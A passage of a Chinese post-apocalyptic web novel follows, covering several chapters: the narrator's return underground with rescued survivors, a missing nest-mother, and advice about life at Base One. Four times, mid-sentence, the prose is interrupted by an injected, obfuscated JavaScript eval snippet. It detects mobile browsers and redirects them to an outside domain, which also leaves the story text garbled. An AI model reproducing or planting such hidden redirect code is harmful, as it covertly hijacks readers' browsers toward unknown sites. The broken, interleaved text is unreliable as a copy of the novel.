我被逼得干呕,不得不用舌来防御。这似乎给了他提示,让他终于知道舌原本该是柔软的器官,他调整舌面,带着那种不容拒绝的坚定和缓慢,探索着人类内部的味道和活动性能。 我不知道这是否新的审讯手段。他那无法解读的情绪,在不可理解的程度上,似乎稳定得和之前那个晚上没什么区别。 经验告诉我,失去意识是最方便的逃离惩罚的方法。 这实在很简单。我闭上眼,让黑暗保护我的一切。 我得庆幸,每一次,他都让我如此缺氧。 33. 放弃 我很擅长选择放弃。 在我过去的生活里,我放弃了母亲藏在那暴躁情绪下若有若无的母爱,放弃了一些尊严和良心,放弃了那些好心人无济于事的规劝与善意,放弃了……搭救舍友的努力,也放弃了和大哥小弟小妹他们同生死共命运的天真妄想。 因为生活实在容不得我贪心。 我深知那些放弃,都是我为争取到自身未来而支付的代价。 所以每次放弃,我都会试图拼命抓紧些什么旁的东西。 但这一次,我似乎两手空空,什么都没有。 如果地球已经没有未来,我是否该放弃挣扎和希望? 再次醒来时,我不知道自己是否还活着。 我在黑暗中摸到了备用的光珠子。我像仓鼠般藏了那么多。 一瞬光亮照亮周围,我还躺在天台上,光映亮了天空中密布的阴云。 我立刻转头去找凌云。 他还在旁边。 凌云闭眼坐着,像是在人类的营地中独处时那般安静。 我不知道他是在思考还是在睡觉。他还是人类吗?他需要睡觉吗? 我能感知到,那种无法理解的庞大情绪如常地滚动着,像是乌云的梦境。 那些情绪会否和他的能力有关? 他吞噬了那么多怪物的能力,是否也同时吞噬了它们的思维与知识? 他那模糊的心态是在与怪物共感吗? 他能够让自己和别人的能力得到充足的发展。我还未体验过这样的增长,但我知道,我自己的能力,就是在升级之后,才能读取受控者的心声。 我很害怕去思考,别的怪物,甚至别的人类,会否也成长出类似的能力。 如果他能够读取怪物,甚至是读取我的心声…… 我意识到我的呼吸变得太沉重,立即慢慢放缓,怕惊到我正在观察的对象。 我很怕凌云突然转过头来,回答我在内心中提出的疑问。 我慢慢将视线从他的脸上挪开,低头去找遗落在地上的那颗光珠子,却只看到一个灰蒙蒙的球。 光珠子外裹了一层灰色的棉絮。 我有些困惑,试着将其剥下来,捏了捏,那特殊又熟悉的手感让我知道,那是被凌云撕扯下来的灰雾碎片。 我转头看见,那堆焦黑的灰烬还在原处。 而一部分未完全转化的灰色棉絮则摊开了一道爬行的痕迹。 我用脚一点点将那道痕迹蹭掉。 散落在途中的棉絮早就在黑暗中失去活性,纤弱脆薄,一碾就碎。 那道痕迹的尽头,凹着光珠子的印痕。 那些没有被凌云直接接触到的灰雾碎片,以仅存的微弱生命,本能地趋光前行。只有最后的幸存者,抵达了光珠子的所在,趁我睡着时裹住光珠子,从中吸取能量。 我从光珠子外剥下来的这团灰雾,大概是从光珠子中补充了部分活力,捏起来恢复了些许柔韧弹性。 但我耗些力气,仍能破坏其构造,将其搓成灰。 我掐出一个指痕,确认我有能力消灭这点余孽。 然后拿出黑皮袋,将这份尚留存有部分活力的样品单独收存起来。 我不知道这有什么意义,但我不知道自己还有什么能做的事情。 我暂时失去了生存的目标和方向。 凌云那边没有动静。 我起身走入楼梯间。顶楼的门在合上时发出金属的声响。他也没有反应。 我松了口气。 无论如何,他都不会是我在放弃希望后试图抓住的东西。 我两手空空,在接下来的日子里跟随着本能,也就是盲目地跟随着人群的行动。 人群沉默地接纳了我。 这是因为操火者的死帮我立过威,凌云的扶助又显现了态度,两件事都来源于同一个人的施舍。 我将其当做是忍受那两次折磨的酬劳。 回到人群后,我才在某些谈话中听到了不能用光珠子直射天空的规则。 如果大哥他们还在,我早先就不会错过这条规则。大哥他们总是愿意在集体中寻找答案的,而我自己的思考方式总是让我特立独行、躲避集体中的风险,只有到了这个时候,才会选择合群。 我跟随着人们在废墟中搜寻、挖掘、挑拣物资,用旧日的回忆将那些古董变废为宝,这原本是非常符合我志趣爱好的工作。 可自从我用光照看清过天空的真相之后,不管在废墟中收获了什么宝藏,那种短暂的快乐都很难进入到心底。 我的心与这个世界间像是隔了一层纱。这样注定灭亡的世界,对我来说暂时已失去了意义。 但我还不知道该往何处寻求解脱。 我麻木地工作了两日,跟随着人群拖着物资,回返最初的登陆点。 是时候返回地下了。 无论在地面的收获有多富足,黑水的库存都不足以支撑我们的队伍长久地停留在地表。 众人努力收集来的物资堆成了我曾在四号基地集会见过的那种乱糟糟的小山。 因为没人浪费时间做分拣。捡来的玩意五花八门,零零碎碎,废墟中有什么就是什么,甚至每个人对同件事物是否还存有利用价值的判断也不一样。 好的坏的、破的烂的、美的丑的,全都混成一团。 唯有两类东西被单独放了出来,是一台手摇发电机,和一堆型号各异、电线缠绕的变压器。 我知道那是为我的手机,更准确点,是为了凌云的求知需求而备下的。他们要特地去邀功。 没人说得准,那些陈旧的电器是否还堪使用。 他们似乎打算等回到基地后,再找专人负责慢慢研究。 我正在想这么多物资该以怎样的形式来运输,就有探索队员站出来,用空间能力将那有如山堆的物品收入囊中。 小妹过去从未展现过这样强悍的表现。 或许这就是被凌云增幅过的空间能力者的实力档次。 又或是因为人类世界的日用品,在能量密度上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14578484|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比小妹当初携带的光珠子要低太多。 可还有些事物,是无法被空间能力者存储起来的。 那些从废墟中救起来的,被黑漆包裹的居民。 他们没有半点生命体征,可我曾穿越的漫长时间让我知道,他们还能再醒过来。 人们从废墟中挖掘出来的幸存者数目并不多。 成为琥珀,是需要时机和运气的。 这座城市里的高处地势比较多,大多数居民都躲在高楼上朽化为了枯骨。 我能想象到,末日降临的时候,还有神智的人类应该会拼命登到高处,躲避不知来历的漆黑洪水。 他们无法想象黑水能带来的永恒。 但或许,他们更加幸福,他们在高楼上苦苦支撑,可能还维持了一段短暂的人类文明,组建了高楼间的贸易系统和生活文化,让他们以人类的尊严度过了最后的时光。 我想起了当初我在街头跟随过的那场逃难。 那些逃难的人群最后躲过了洪水吗?最长寿者在黑暗的世界中支撑了多久呢? 他们已经成为历史。 我们要找的是我们的同时代者。 数量并不多。 我不知道,若探索队员们搜寻到更多幸存者,会采用何种方式来运输,但眼下的答案很简单,用人力来背负搬运就足够了。 可探索队员们围住这些幸存者,在分配任务的时候,发生了争吵。 他们越吵越急,几乎要动手。 凌云不知去了哪里。他在地上时常独自行动。 这时候局面就变得难以控制。 我对他人的团结无甚兴趣,对混乱则格外怀有警惕。 我向发生混乱的地方走了过去,看见新闻主播正不安地站在人群外围,于是向他打探消息。 新闻主播告诉我,这座城市的地域有些特殊,有些人拒绝救助这里的居民,大概出于宗教或历史方面的某些原因。 我觉得荒谬可笑,“都这种时候了还有人信教?” 我还以为他们都只信云哥呢。 新闻主播打了个寒噤,小声地说,“越是这种时候越信。以前还有伙人说世界已经到了所预示的末日,要替神明来搞最终审判,在基地里偷摸着杀了不少人呢。” 我没有追问那件秘史的详情。眼下的争吵更具有现实意义。我大致估算得出来队伍中成年劳动力的数量,如果真有人因为可笑的原因放弃救援的话,那么,将幸存者带回地下的人手就捉襟见肘了。 我随口问,带不完怎么办? 新闻主播回答说,地下通道受地底生物活动的影响,变化很大,而且考虑到每次探索的效益最大化,每次往地表进发都会尽量选择不同的道路和出口。 现在这些幸存者的数目,可谓是鸡肋,不值当为运送他们开辟专道,或是下次再派专业队伍来,若这次不随队带回去,可能就会被遗留在地表,等待不知多久以后才能再次遇见探索队的好运了。 也就是说,他们会被放弃掉。 34. 替换 新闻主播此刻大概是不忍心,很关注场中争吵的状况,不等我询问,就主动将那些人争吵的话语翻译给我听,语句有些结巴,却没有遗漏。 局面还没有发展到要用暴力解决争端的地步,但也快了。 试图说服教徒参与救援的那些人,在前期劝导无果后,脾气越来越暴躁,破口大骂那群固执的家伙毫无人道主义精神,问他们信的究竟是教还是仇恨。 教徒则回应说,人道主义也不过是自我满足,论起信仰来没人比教徒更高贵,为何要用自己的道德观来逼迫他人。 有人插腔说,这是为了保障基地人口存续的必要劳动,所有基地人员都有义务参与。 话说到这里就有些可笑了,因为一号基地的运转从来就建立在某个人的权威上,从未形成特别清晰明确的法则。 我来到这支队伍的第一天,就见识到了这群人的结构多元、成分对立的混乱秩序。 这里的规矩,从来都是在凌云面前听从凌云,在凌云身后听从小团体的暴力。 新闻主播转播的语气越来越紧张。 我的注意力却逐渐涣散。我从来都难以忍受这种琐碎的吵架,那些来来回回的车轱辘话让我旧疾复发。 我能感受到某些更加不可理解的庞大情绪像阴云覆盖了我的心情。 人群突然安静。 凌云回来了。 按照惯例,人们争抢着向他汇报情况。 没人敢在凌云面前闹情绪,也不会中途打断别人的话语,但会像接力赛般,你一句我一句地踩着别人的停顿,见缝插针地讲话。 为了方便告小状,各种语言都被用上来了,我不知道被围在话语中心的凌云是否能听懂,又是什么感受,反正我站在旁边听着那飞速变幻的语种,都觉得一阵头晕,很想睡觉。 凌云表情平静,我能感知到的那份情绪亦然。 我很坚定地相信,他在语种上是没有障碍的。我所质疑的是,他那有异于常人的情感构造,能否理解普通人对宗教、历史抱有的复杂态度。 果然,在不做人这点上,凌云从来都不让我失望。 他毫不在乎地听完汇报,只看了眼尚未收拾好的那些“资源”,说道,“带上能带的,出发。” 这句话说了等于没说,人们可各自解读,但争吵只能到此为止。 人们大眼瞪小眼。 很快,那些教徒转身走掉了,显然是将敌对城市的幸存者们视作不能携带之物。没人能阻止他们。 我听见新闻主播叹了口长气,不知是失望还是放松。 留下的人们开始执行凌云的命令。强壮的人轮流走出来,背负起幸存者。 我眼看着数目也能算清楚账,绝对会有幸存者被落在地表。 但没有人发出怨言。我看到先前在吵架中最愤怒的那几个人,此刻默默干活的面目也很平静。 人类往往因为强压而听从权威,人们还往往美化权威。 或许还会有人崇拜凌云面对选择时的冷静果断,甚至崇拜这种无情的心性,赞颂这样公正的决断同时顾全了两方的情绪。 我能够理解。当人们听从命令后,再看着那些被弃置于地面的漆黑人形,难过中也不会有太多未曾尽力的自责了,因为道德压力已经被转嫁到权威的身上。 我做打工人时,从来都很听老板的话,这种情绪我体验过太多次了。 老板发工资,替你做道德抉择,还能不要脸得体体面面。 怪不得人人爱总裁呢。 在我走神的时候,有能力的成年男性差不多都背负了体重合适的幸存者。新闻主播加入其中。也有女性商量着,选择以接替背负的形式,合作运送某个对象。 因为她们的努力,最终被放弃的幸存者并没有预想中那么多,只剩下两三具。 可是,幸存者被带入地下就是更好的选择么? 我忍不住想,这个世界正在慢性死亡,在地底受苦和在地表沉睡,最终都将走入同一个终局。 在黑湖中醒来的人要经历生前无法想象的恐惧,被分派去挖矿或是与怪物战斗,死亡率居高不下,把自己活成维持基地运作的耗材。 人们工作艰辛,生活无望,唯一的报酬就是可能多延续的一小段受苦的生命。 我留意到搬运者们在挑选背负对象时,都有进行比对,似乎想要找出重量最合适、也最为同情的搭救对象。 某个人正在听从劝告,将所背负的一具漆黑人形抛下来,丢到冰冷的地面上,换成了另一具。 我听到别人的指点内容,“那个年纪小,在下面不容易活下来的,不如换个更好存活的。” 我不由走过去,看向那个被放弃的孩子。大概十来岁出头的模样,黑漆包裹得很严实,我看不清对方的具体轮廓,也不确定性别,只能看见那孩子仿佛挣扎般探出来的手臂,胳膊确实很瘦弱,怪不得会被人质疑其生存能力。 我不认为在黑湖中醒来是更好的人生选择。 可是,这个孩子仿佛挣扎般探出来了手臂,在被黑水封存前,清晰地展露了其想要继续生存的意志。 我能够理解我原始姓名中隐藏的逻辑。 换儿。女孩养大了也是给别人家养的,不如换个能争水能种地的男娃,以后在村里说话也有地位。 换儿。女孩活一辈子也是受罪,换成男孩就不用受那么多苦,以后在家里说话也有地位。 这种逻辑无关感情,甚至不是愚昧,而是精明的、纯粹的利益考量。 不合适的人选,不如换成更有用的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14592906|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那并非是针对我,资源有限的时候,人人都会这样想。 我从来都很讨厌小孩。什么年纪和什么样的小孩都很讨人厌。 小孩的天真常常与恶相连,娇气是自私的代名词,懂事是过早学会的势利和冷漠。 所有人性在显露的初期阶段都很会包装,因为基础能力太过弱小,就格外会让自身显得可怜可爱。而我,没有足够强大的立场,去欣赏他们的可怜可爱。 他们带来的麻烦倒是常常让我吃苦头。 我仔细端详着眼前这个两度获救又两度被人放弃的漆黑人形。我在其身上找不出半点能让我喜爱或共情的影子。 这家伙在种族和宗教上有被人仇视的理由。其心性和生存能力也是盲盒,将这家伙带回地底可能没什么结果,更没有意义。 我俯下身,试着将这孩子抱起来。 回程的路上,众人都比来时多了负重,脚步蹒跚。 虽说道路已经打通,又都是下坡路,可在这种陡峭的地形上,下坡比攀登更困难。 人们还是互相扶助着前行,攀下这口直达地底的深井。 这次的我已经融入了集体。我不大分得清他们的脸,但我知道走在我周围的几个人在废墟中都曾与我同行过。 看在我所背负的重担份上,也有更陌生的人愿意来多搭把手。 那几个轮流背负幸存者的女孩里,有人看我一路上没歇过,特地过来问我要不要换把手。 我还撑得住。 首先,小孩不算重,其次,我在干体力活上很有经验,更何况,在地底生活中的这段时日里,黑水的供养竟让我更加健实了。 我还没有后顾之忧。 当我觉得精力不济时,就去走在凌云身侧。与其劳烦那些本来就很辛苦的姑娘,不如利用这家伙冷静功利的行为模式。 假如我踩空或者掉队了,也就是他顺手拉一把的事。 只要他在现场,又能轻易做到,就不会让资产人员蒙受损失。 我不在乎是否接受他的帮助了。因为他是没有人性、毫不在意的。我心想这种行为大概算是在出卖尊严换取庇护,可既然尊严已经被他蹂躏到了底,不如再多赚一点回报。 我知道与凌云走得过近会影响其他人的态度。 队伍里那些人会帮助我,但也保持着半亲半疏的距离。等到某次凌云当众继续那个试验,再次尝试吻我后,那些目光里就带上了更多几分的忌惮和畏惧,对我更加敬而远之了。我无所谓。 我现在对很多事情都无所谓,包括我下着大力气去背负的这具漆黑人形,我对最终结果也没什么执念,只是尽力而已。 反正,在这样的末世里,我所做的大多事,大概都没有什么意义。我只是想做,再看做不做得成。 35. 失踪的巢母 走过最险峻的一段路后,我们重新回到了开阔平稳的坦途,温度逐渐回升,生物活动的迹象也逐渐显现。 明明是在走入地狱,感受上却好像是回到了自然。 人们加快了前行的脚步。 由于来时已经清理过沿途,这次不再有探险和狩猎的任务。 考虑到归程的额外负重,在来时就将那些活做完,无疑是有先见之明的。 新闻主播所说是对的,地底的道路变化很快。 就像当初四足蜘蛛在对抗吞光者时疯狂改造了地底通道,我们这次在路途中的探索和狩猎改变了物种分布和资源分配,那些被调整的生态体系,反过来改变了环境和通路。 短短几天后,那些道路就变得熟悉又陌生。 好在凌云总能准确地指出前进方向,就像是内置了一个指南针,又或是他真的能与周围的怪物共感,知晓附近所有情报。 他情绪稳定地指示人们在复杂的通道中前行。 由于路线有所区别,我一开始不知道自己到了哪,直到看见洞窟中砖石搭建成的房子,还有那些熟悉的水道,甚至走到了曾在黑暗中与大哥他们巡逻过的地方,我才意识到,我们已经抵达了四号基地。 探索队不畏惧怪物,对光亮的运用程度远胜于四号基地。光珠子的光照肆无忌惮地在建筑和道路上晃过。 我看清了当初我们那个侦查小组无数次走过、摸过、猜过、却从没有真正用肉眼看清过的基地全貌。 建筑比我想象的要更丑。 外墙看起来粗糙如毛坯,因为人们在修建时从不介意其颜色和平整度,大多时候都被埋没于黑暗之中。 墙面未抹平的罅隙中堆积着无人在意的尘垢。一些被胡乱堆砌的材料因氧化而颜色暗沉, 但除了这两点外,建筑看起来又比想象中要新。 我想了想,才明白为何会有这种感觉。 哪怕潮湿的水道就从建筑旁边穿过,建筑也没染上半点苔藓的斑驳。 需要光合作用的绿苔,在如此黑暗的地底是活不下去的。 这里也没有菌菇。 过往的生态圈已被完全重建。 我思考着这种微小的变化,又想起来当初我受到大面积创伤后,也未患上细菌感染。 护理人员从未给我进行伤口消毒,或许不止是因为物资缺乏,也有更深认识到某些现象的理由。 当我回想着那时在四号基地的生活时,凌云已经引导众人穿过漫长的甬道,来到了我所熟悉的集会所。 集会所的氛围一如往常。 虽然当初决定离开时义无反顾,可现在我却有些怀念那几日里枯燥平实的生活了。 等待换班的矿工们转头看向走入大厅的探索队员们,有部分人的脸上显现出新奇的情绪。 我模糊感觉到,集会所里是有新面孔的。看来四号基地新人不足的问题已经被解决了。 兰姐还在这里。 无论是当初基地遭遇困境时,还是在如今这雨过天青的境地里,她都没什么变化,情绪内核稳定得可怕。 或许她支撑了这么久,也不再在乎失败,就像她所说的,只是顺从了活着的本能。 我比以前任何时刻都更能理解她。 只在看到独自站在凌云身侧的我时,兰姐神色微有些复杂,但也很快调整过来。 她走过来,主持货物交易。 空间能力者将成山的物资倾倒出来,堆在集会所中。 兰姐没有清点物资数目。 用来交易的光珠子是事先储备好,在某个格子中单独存放的。她将那满满一格全数交付给探索队。 看来这种交易,在分基地这边是不计物资多寡的,每次都定额包干,买断探索队一次外出的收获总量。 我在废墟中探索时还不知道这种制度,但也并未感受到队员们有明显的松懈。 看来队员们努力探索挖掘物资,不太是为了争取更多酬劳,更多是出于援助同胞的人道主义精神。 我对这只管理混乱、思想矛盾的队伍稍稍生出了些好感。 可我刚开始这样想,探索队员就为光珠子的具体分配,以小团体为单位争吵起来。 在平均分配的基础上,总有人想找借口拿得更多些。 当初没有哪个人浪费时间进行物资分类,而到了争辩的时候,人人却都记得很清楚,自己努力挖出了哪些高价值物品,是理应多拿部分酬劳的。 我出力不算太多,没有亮眼的成绩,更没有小团体的庇护,估计只能拿到最基础的一份酬劳。 我无所谓,眼看着他们吵嚷。 兰姐交出光珠子后,也不管探索队员们的内部分配。 她向我走来,却在凌云面前停下,汇报四号基地的情况。有那么一件稀奇的事情,四号基地的巢母可能死了。 兰姐带领我们来到曾经那座洞窟。 我曾见过的那庞大的银湖已经消失了。 同样不见踪迹的还有当日那位阴影的主人。 或许还有它的子嗣。 因为来时的一路上,我都没有听到什么哒哒哒哒的声响,那种愚笨的抱团的生物似乎已经完全绝迹了。 我还记得那些四足蜘蛛极易驯服,喋喋不休。 虽然就是它们轻易夺走了小妹他们的生命,可它们在最后留给我的印象却似乎是很弱小的。 我为此感到可耻和可悲。 洞窟比过去黯淡得多,曾经那堆积起来光辉璀璨的珠堆,只剩下零零散散的一些,填在凹洼处。 取而代之的,是骨骸交错的杂物堆,看起来阴暗又狰狞。 我一看到这些,就知道是谁战胜了曾经的巢母,是谁占据了这里。 在兰姐的口中,这里却似乎是没有新主人的。 她只知道巢母在某日失踪,可能有怪物经常来此光顾,偷走人们照例补充的光珠子,之后还会留下垃圾。 她从来没有遇见过作案者。 不知是否那些遗失的光珠子喂饱了周边的怪物,基地在失去巢母后,仍旧保持着安宁。 人们甚至感觉到,附近怪物的生态密度和活动频率有所降低。 我莫名感觉到浑身发冷。 我不知道当时负伤严重、断尾求生的吞光者如今是否已经完全恢复。 从它与四足蜘蛛巢母的战斗结果来看,或许它变得比最初送我回基地时更强了。 不,或许那时候的它以为救治我方法掌握在四足蜘蛛巢母手中而不是人类手中,就是有意要留巢母一命? 我的思绪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14599831|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞速转动着。从那座消失的光珠子堆来看,吞光者的消化能力可要比四足蜘蛛巢母强大得多。 若能量吸收效率与实力成正比…… 我下意识看了眼凌云。 他那不可理解的非人情绪,在此时难得涌动着,搅得试图共感的我一阵恶心难受。 我侧头干呕了一下,听到凌云仍旧平淡无波的声音,“这里有新巢母了。” 兰姐的诧异很快就平复了。她问四号基地是否需要为迎接新的巢母做什么举措。 凌云回答说,不用理它。 这件事情就到此为止。我知道兰姐肯定会很疑惑,为何新的巢母不坦坦荡荡地接受供奉,从不在人前展露形迹,像是躲避日头的影子般避开人类的视线。 那是因为上次的遭遇战后,它一朝被蛇咬,十年怕井绳。 当看到那熟悉的肢骸堆时,我的第一反应就是试图感知那个熟悉的狂躁痛苦的情绪,却一无所获。 我在那空荡荡的寂寞里感到庆幸。 我不敢想象,若在这里与吞光者重逢,它会做出些什么。 事情解决后,探索队在四号基地休整一宿。 当看到梅姨来带路时,我就知道她会安排我住在哪。 我曾经的那处房屋果然还留着。 当初走的时候,我带走了自己的财产,归还了公共用具,屋子一度空荡荡的。 现在回来的时候我才发现,这里还留下了记忆。好的坏的都有,终归是让人怀念的。 自从被带入探索队后,我太久没有独处过了。 梅姨布置的生活用品还在老地方。我擦完身,感觉浑身清爽,像是终于从重重污垢中透过气来。 这时,我听到有人敲门。 我愣了愣,瞬间有太多旧事的影子从眼前晃过。 我几乎以为打开门后能见到那三个人连贯走进来,为首的那个会用成熟温和的语气和我打招呼。 很快,我想到,应该是梅姨来找我。 站在门外的人是兰姐。 她开口叫我子涵的时候,我有点没反应过来,我太久没用这个名字了。 我请她进屋坐下说话。 我见过兰姐很多次,其实我自觉和她之间,没有像我和梅姨那样熟。 毕竟梅姨常来照顾我的生活,也与我有过重要的单独交流,但我和村长,除了初见时的那次谈话,在后期所有与她的交流里,我都是任由大哥做代言人的。 她入座后,提起了我留在集会所的漆黑人形,白日时她就见过我背负着那孩子。 她说,最好不要将精神寄托在其身上。 顿了顿,又意有所指地说,也不要寄托在别的事上。 我知道她是让我不要太依赖外人、外物。 会给出这种建议的前辈,都是推心置腹才肯说这种话的。 我嗯了一声,屋内的氛围稍微缓和了些。兰姐又问起我在外面过得如何,有什么需要解答的困惑,是否缺少物品。 我不知道她为何在此时这么关心我,我从来不怕冷场,很直白地问出来。 她顿了一下,低声说,你一向活得那么用力。 我不明白这究竟是个什么形容,我只能猜,如今在我身上,或许表现出了什么让她觉得担忧的气质。 36. 生活 兰姐送给我一份很陈旧的笔记。说如果要去第一基地生活的话,多懂点其他外语是很重要的事情,这是她当年摸索时自用的笔记。 她说她离开那里很久了,对如今的情况也不大了解。 那里当初就是很混乱的地方,人们各怀其志。据她的经验,自己的同胞要比用其他语言的人更可信些,但也不要太信任自己的同胞。 我觉得那是因为,大家都熟悉同样的文化语境,对语言的解读更敏感,互相欺骗要更难。 兰姐教导我,要保存好在探险队获得的酬劳。不同于四号基地内将光珠子作为集体资产的做法,一号基地里普遍将光珠子当做私人所有的交易流通物,但每人必须按标准在每月缴纳定量光珠子供奉巢母,否则会失去基地的庇护。 据她了解,新人在进入基地的初期,需要缴纳的光珠子数额并不高,也可以在基地内从他人处获取报酬,所以哪怕新人在初期能力不佳,也能靠提供基础的劳动服务,在一号基地内生存下来。 难怪,当初梅姨也说,那些被判断为无法通过试炼的新人,都会被分配去一号基地。 可这真的是对新人的关照吗? 兰姐又提醒我,在一号基地的缴纳额会随着年资的增长而提升,而且,光珠子在一号基地内有其他消费用途……所以,若想要在那边长久地生存下去,一开始就要做好财务管理和工作规划。 我点点头。这些事物对我来说并不陌生。 无非就是要想法子打工、存钱、交房租而已,就好像回到了过去眼花缭乱的都市牛马生活。 兰姐遗憾地说,她在一号基地认识的老朋友也大多都不在了。 我想起主持分组的那位持光者。梅姨后来说过那是兰姐的熟人。我不记得当初我告知死讯时,兰姐是否曾表现出悲伤。 大概是没有的。 兰姐现在也用平静稳定的语气告诉我,我去到那里,可以试着去找找某个叫做星火基地的小团体。 从名字就能看出来,那里聚集的都是华语工作者。 那些人试图利用简陋的条件重现过去的一些技术手段,也有野心研究末世的种种现象。 到兰姐出走时,那个组织的很多项目都已宣告失败,偶尔取得的成效也很难说是鼓舞人心。在这样荒凉的末世里,连技术领域都是一片荒芜模样。 兰姐给了我几个人名,说我可以试着去找他们寻求庇护。如果星火基地的项目还在继续,或许能帮我解决一下我迟迟没有发现自身能力的问题。 我能感受到她的好意,沉默地点点头。 兰姐从始至终都没有问我是否还要去一号基地。我今天站在了凌云的身边,我猜在她看来,我的选择是不言而喻的事情。 我也没有问她当初为何要离开一号基地。 她到最后才忍不住提醒我,最好不要太信任一号基地的领导者。他并不是人们想象中的那种圣人。 我忍不住想笑。 凌云在我心中的形象,大概与圣人背道而驰。 ……可能没有人相信,但我并不是自愿接近凌云的。我从未和他谈过这件事,但我隐约能感到,他不会放我走。 兰姐说完这些就离开了,屋内又只剩下我一人。 我很感激她没有过问大哥他们的下落。 兰姐可能错估了我对一号基地的看法。凌云大概也不会给我选择的自由。我看着这座原来的屋子,心想,若有人问我的想法,我愿意留在四号基地吗? 可能也是不愿意的。 但支撑我继续走下去的信念究竟是什么呢? 我躺到床上,不愿意熄灯,但又要用被子蒙住脸。我想起有人曾对我说过,子涵,好好活。 他为什么要对我说这种话呢? 现在想想,大哥小妹他们的信念崩塌得比我更早,因为他们习惯相信某种秩序。当从兰姐口中得知关于末日的部分真相时,他们可能就失去了存活的信念。 在离开四号基地前,他们是否会有预感,隐隐感受到自己回不来了呢? 许多当时的细节浮现出来。 原来我有那么强的观察力,却不愿意去想。我还记得他们作出决定时的眼神,他们作出那个离开的决定,不是因为我,但可能有部分是为了我。 他们或许早就做好了牺牲的准备。 他们寄希望的人类社会,从来都是一个有组织有秩序的社会,他们对所处环境的文明程度有更高的要求,而我的期待值更低,我只需要一个能给我未来的社会。 可是,在他们抵达终点之际,会降低对生活的期待,会为离开四号基地而感到后悔吗? 他们的牺牲也未能成就我。我并没有活得好。一直以来,我的奋斗目标都只是拼尽全力活下去,只能在心底暗自希望着能越活越好。 我过去从未考虑过终点在哪里,那太虚幻了。 直到我抬头看到了世界的尽头。 我劝慰自己,如今再怎样,都不会比我的童年更糟糕,至少我已努力将越来越多的能力和筹码都抓到了自己手上。 虽然我已看清那些都是指间沙,道路通往虚无。 可是,我会活下去的。那是我一直在做的事情,我会坚持到最后。 那绝不仅仅是兰姐所说的,因为本能、因为惯性而延续着自身的存活。 一本书只有读到最后一个句点才算完整。哪怕世界即将迎来末日,哪怕成为世上最后一个活人,我也会活到我所能坚持的最后。 只有抵达那里,我才能找到我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612039|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一生是为什么而活。 离开四号基地后的第一次夜宿,人们聚集到凌云周围,将收获到的报酬换成了更加现实的能力。 就如同提取怪物们的能源中枢一样,凌云用光珠子强化着众人的能力。 我远远看见,那些光珠子被吸透能量后,只剩下干瘪的茧,轻轻一搓就会散成苍白的余烬。 我忍不住比较,凌云和吞光者在对能源的转化利用上,谁效率更高呢? 这很难说。吞光者每回吃光珠子,是贪婪得连灰都不剩的。但它所谓的吞噬,也只是将光珠子置入体内,我无法观测到吸收结果。 吞光者不就曾从自己体内剖出过,因裹着黑皮袋而未能完全消化掉的光珠子吗? 完成交易的人在道谢后,心满意足地从凌云身边走开。 这种传统能持续这么久,他们一定已经想办法验证过,自身的能力确实得到了增强。 我不得不思量,对每个人来说,这种能力的提升有极限吗? 在光珠子到增强能力的转换中,凌云又会收取手续费吗? 因为营业者仅此一家,可能只有他自己才知道。 人们也会宽容对待这位唯一的经销商,毕竟能找到方法利用这种能源已经是个奇迹,所有差额都是合理的损耗。 用光珠子来增强自身能力,或是供奉巢母以获得庇护,到底哪种方式能获得最大化的生存保障呢? 对我来说,没有什么能比握在自己手中的东西更重要。 但我想,兰姐当初会做出那样的选择,一定已经做出过深思熟虑的计算,并且将除了她自身以外,更多人数的均等利益都放上了天平。 我跟在队伍的最后,走到凌云面前,除了留下必要的照明外,将所有的光珠子都交给了他。 我并非轻视兰姐的教诲。我猜测,在一号基地里,所有的光珠子消费最终都会抵达凌云这里,所以,这大概就是性价比最高的交易,也是人们不断积累提升生存能力的立身之本。 至于每月攀升的缴纳定额,我倒是很好奇,如果我一开始就交不起,凌云是否真的会将我赶出去。 这是一个就算出错也很容易弥补的试探。在初期紧急筹钱,肯定要比在中后期解决断供问题简单得多。 